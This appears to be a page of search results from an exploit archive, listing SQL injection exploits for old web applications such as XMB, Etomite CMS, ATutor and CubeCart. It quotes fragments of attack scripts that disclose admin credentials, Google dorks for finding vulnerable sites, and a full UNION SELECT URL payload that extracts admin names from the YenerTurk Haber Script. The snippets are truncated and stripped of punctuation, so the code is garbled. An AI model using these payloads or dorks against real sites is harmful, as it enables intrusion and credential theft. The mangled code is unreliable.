2045 matches found
GNUTURK 2G - t_id SQL Injection
GNUTURK 2G - tid SQL Injection ",$html; $rtmp=explode"",$tmp1; $ausername=$rtmp0; $tmp=explode'',$html; $rtmp=explode"",$tmp1; $apass=$rtmp0; echo "--------------------------------\n"; echo "Powered by p2y...
Haberx 1.02 < 1.1 - 'tr' SQL Injection
+++++++++++++++++++++++++++++++++++++++++++++++++++ + Haberx v1.1 tr SQL Injection Vulnerability + + Author : Fix TR + + Site : www.hack.gen.tr + + Contact : fixtratbsdmail.com + +++++++++++++++++++++++++++++++++++++++++++++++++++ + Download: http://www.aspindir.com/Goster/3983 + Versions: 1.02...
Timesheet 1.2.1 Blind SQL Injection Vulnerability
About: Timesheet.php is a PHP application designed to keep track of the hours worked by multiple people on multiple projects. It allows users to log in through their web browser and manage the times that they are clocked on or clocked off. Description: A vulnerability can be found on the file...
CubeCart 3.0.11 - 'oid' Blind SQL Injection
!/usr/bin/php -q -d shortopentag=on this works against MySQL =4.1 allowing subs -------------------------------------------------------------------------------- '; / short explaination: software site: http://www.cubecart.com/site/home/ same kind of sql injection of...
Spidey Blog Script <= 1.5 (tr) Remote SQL Injection Vulnerability
Exploit for unknown platform in category web applications ================================================================= Spidey Blog Script = 1.5 tr Remote SQL Injection Vulnerability ================================================================= Spidey Blog Script == 1.5 tr SQL Injection...
[SA21397] YenerTurk Haber Script "id" SQL Injection Vulnerability
YenerTurk Haber Script v1.0 SQL Injection Vulnebrality Credit:ASIANEAGLE Contact:[email protected] Exploit: Admin Nick: http://SITE/Path to YenerTurk/default.asp?x=2&kategori=11&id=-120union20select200,kullaniciadi,2,3,4,5,6,7,820from20admin20where20id20like201 Admin pass: http://SITE/Path to...
myBloggie <= 2.1.4 (trackback.php) Multiple SQL Injections Exploit
Exploit for unknown platform in category web applications ================================================================== myBloggie = 4.1 allowing subs / if $argctrackbackreply1, "Sorry, Trackback failed.. Reason : No title"; if!empty$REQUEST'url'...
XMB 1.9.6 - 'mq=off' 'u2uid' SQL Injection
!/usr/bin/php -q -d shortopentag=on = 4.1 allowing subs / if $argc5 echo "Usage: php ".$argv0." host path username password OPTIONS\n"; echo "host: target server ip/hostname\n"; echo "path: path to XMB \n"; echo "user/pass: you need a valid user account\n"; echo "Options:\n"; echo " -Tprefix...
XMB 1.9.6 - mqoff u2uid SQL Injection
XMB 1.9.6 - mqoff u2uid SQL Injection !/usr/bin/php -q -d shortopentag=on = 4.1 allowing subs / if $argc5 echo "Usage: php ".$argv0." host path username password OPTIONS\n"; echo "host: target server ip/hostname\n"; echo "path: path to XMB \n"; echo "user/pass: you need a valid user account\n";...
XMB <= 1.9.6 (u2uid) Remote SQL Injection Exploit (mq=off)
Exploit for unknown platform in category web applications ========================================================== XMB = 4.1 allowing subs / if $argc5 echo "Usage: php ".$argv0." host path username password OPTIONS\n"; echo "host: target server ip/hostname\n"; echo "path: path to XMB \n"; echo...
XMB <= 1.9.6 (u2uid) Remote SQL Injection Exploit (mq=off)
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "XMB = 1.9.6 'u2uid' SQL injection / admin credentials disclosure\n"; echo "by rgod [email protected]\n"; echo "site: http://retrogod.altervista.org\n"; echo "dork: "Powered by XMB"\n\n"; / works with magicquotes=off...
ATutor <= 1.5.3.1 (links) Remote Blind SQL Injection Exploit
Exploit for unknown platform in category web applications ============================================================ ATutor = 4.1 allowing SELECT subqueries for ORDER BY statements see http://dev.mysql.com/doc/refman/5.0/en/subqueries.html - with at least 2 links in atlinks table / if $argc5 ec...
ATutor 1.5.3.1 - links Blind SQL Injection
ATutor 1.5.3.1 - links Blind SQL Injection !/usr/bin/php -q -d shortopentag=on = 4.1 allowing SELECT subqueries for ORDER BY statements see http://dev.mysql.com/doc/refman/5.0/en/subqueries.html - with at least 2 links in atlinks table / if $argc5 echo "Usage: php ".$argv0." host path user pass...
ATutor 1.5.3.1 - 'links' Blind SQL Injection
!/usr/bin/php -q -d shortopentag=on = 4.1 allowing SELECT subqueries for ORDER BY statements see http://dev.mysql.com/doc/refman/5.0/en/subqueries.html - with at least 2 links in atlinks table / if $argc5 echo "Usage: php ".$argv0." host path user pass OPTIONS\r\n"; echo "host: target server...
etomiteCMS-061-SQL.txt
!/usr/bin/php -q -d shortopentag=on ? echo "Etomite CMS = 0.6.1 all patches applied 'username' SQL injection / admin credentials disclosure\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n"; echo "google dork: "Content managed by the Etomite Content...
Etomite CMS <= 0.6.1 (username) SQL Injection Exploit (mq = off)
Exploit for unknown platform in category web applications ================================================================ Etomite CMS = 0.6.1 username SQL Injection Exploit mq = off ================================================================ !/usr/bin/php -q -d shortopentag=on ? echo "Etomi...
Etomite CMS 0.6.1 - Username SQL Injection (mq off)
Etomite CMS 0.6.1 - Username SQL Injection mq off !/usr/bin/php -q -d shortopentag=on ? echo "Etomite CMS = 0.6.1 all patches applied 'username' SQL injection / admin credentials disclosure\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n"; echo "google...
Etomite CMS 0.6.1 - 'Username' SQL Injection (mq = off)
!/usr/bin/php -q -d shortopentag=on ? echo "Etomite CMS = 0.6.1 all patches applied 'username' SQL injection / admin credentials disclosure\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n"; echo "google dork: "Content managed by the Etomite Content...
X7 Chat 2.0.4 - 'old_prefix' Blind SQL Injection
!/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $ex...
loudblog_05_sql.txt
!/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0; $result.="\r\n"; $exa.="\r\n"; return $exa."\r\n".$result; $proxyregex =...